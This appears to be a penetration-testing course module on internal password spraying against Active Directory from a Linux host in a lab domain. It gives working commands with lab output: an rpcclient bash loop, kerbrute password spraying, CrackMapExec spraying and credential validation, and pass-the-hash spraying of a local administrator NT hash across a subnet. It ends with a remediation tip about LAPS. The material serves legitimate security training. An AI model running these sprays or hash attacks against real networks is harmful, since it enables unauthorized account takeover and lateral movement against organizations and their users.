Internal Password Spraying - from Linux

Now that we have created a wordlist using one of the methods outlined in the previous sections, it’s time to execute our attack. The following sections will let us practice Password Spraying from Linux and Windows hosts. This is a key focus for us as it is one of two main avenues for gaining domain credentials for access, but one that we also must proceed with cautiously.

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Internal Password Spraying from a Linux Host

Once we’ve created a wordlist using one of the methods shown in the previous section, it’s time to execute the attack. Rpcclient is an excellent option for performing this attack from Linux. An important consideration is that a valid login is not immediately apparent with rpcclient, with the response Authority Name indicating a successful login. We can filter out invalid login attempts by grepping for Authority in the response. The following Bash one-liner (adapted from here) can be used to perform the attack.

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Let's try this out against the target environment.

ammartiger@htb[/htb]$ for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT

We can also use Kerbrute for the same attack as discussed previously.

Using Kerbrute for the Attack

ammartiger@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:57:12 >  Using KDC(s):
2022/02/17 22:57:12 >  	172.16.5.5:88

2022/02/17 22:57:12 >  [+] VALID LOGIN:	 [email protected]:Welcome1
2022/02/17 22:57:12 >  Done! Tested 57 logins (1 successes) in 0.172 seconds

There are multiple other methods for performing password spraying from Linux. Another great option is using CrackMapExec. The ever-versatile tool accepts a text file of usernames to be run against a single password in a spraying attack. Here we grep for + to filter out logon failures and hone in on only valid login attempts to ensure we don't miss anything by scrolling through many lines of output.

Using CrackMapExec & Filtering Logon Failures

ammartiger@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Password123 

After getting one (or more!) hits with our password spraying attack, we can then use CrackMapExec to validate the credentials quickly against a Domain Controller.

Validating the Credentials with CrackMapExec

ammartiger@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\avazquez:Password123

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Local Administrator Password Reuse

Internal password spraying is not only possible with domain user accounts. If you obtain administrative access and the NTLM password hash or cleartext password for the local administrator account (or another privileged local account), this can be attempted across multiple hosts in the network. Local administrator account password reuse is widespread due to the use of gold images in automated deployments and the perceived ease of management by enforcing the same password across multiple hosts.

CrackMapExec is a handy tool for attempting this attack. It is worth targeting high-value hosts such as SQL or Microsoft Exchange servers, as they are more likely to have a highly privileged user logged in or have their credentials persistent in memory.

When working with local administrator accounts, one consideration is password re-use or common password formats across accounts. If we find a desktop host with the local administrator account password set to something unique such as $desktop%@admin123, it might be worth attempting $server%@admin123 against servers. Also, if we find non-standard local administrator accounts such as bsmith, we may find that the password is reused for a similarly named domain user account. The same principle may apply to domain accounts. If we retrieve the password for a user named ajones, it is worth trying the same password on their admin account (if the user has one), for example, ajones_adm, to see if they are reusing their passwords. This is also common in domain trust situations. We may obtain valid credentials for a user in domain A that are valid for a user with the same or similar username in domain B or vice-versa.

Sometimes we may only retrieve the NTLM hash for the local administrator account from the local SAM database. In these instances, we can spray the NT hash across an entire subnet (or multiple subnets) to hunt for local administrator accounts with the same password set. In the example below, we attempt to authenticate to all hosts in a /23 network using the built-in local administrator account NT hash retrieved from another machine. The --local-auth flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. Make sure this flag is set so we don't potentially lock out the built-in administrator for the domain. By default, without the local auth option set, the tool will attempt to authenticate using the current domain, which could quickly result in account lockouts.

Local Admin Spraying with CrackMapExec

ammartiger@htb[/htb]$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

SMB         172.16.5.50     445    ACADEMY-EA-MX01  [+] ACADEMY-EA-MX01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.25     445    ACADEMY-EA-MS01  [+] ACADEMY-EA-MS01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB         172.16.5.125    445    ACADEMY-EA-WEB0  [+] ACADEMY-EA-WEB0\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)

The output above shows that the credentials were valid as a local admin on 3 systems in the 172.16.5.0/23 subnet. We could then move to enumerate each system to see if we can find anything that will help further our access.

This technique, while effective, is quite noisy and is not a good choice for any assessments that require stealth. It is always worth looking for this issue during penetration tests, even if it is not part of our path to compromise the domain, as it is a common issue and should be highlighted for our clients. One way to remediate this issue is using the free Microsoft tool Local Administrator Password Solution (LAPS) to have Active Directory manage local administrator passwords and enforce a unique password on each host that rotates on a set interval.

Example

sudo crackmapexec smb 172.16.5.5 -u usernames.txt -p Welcome1 | grep +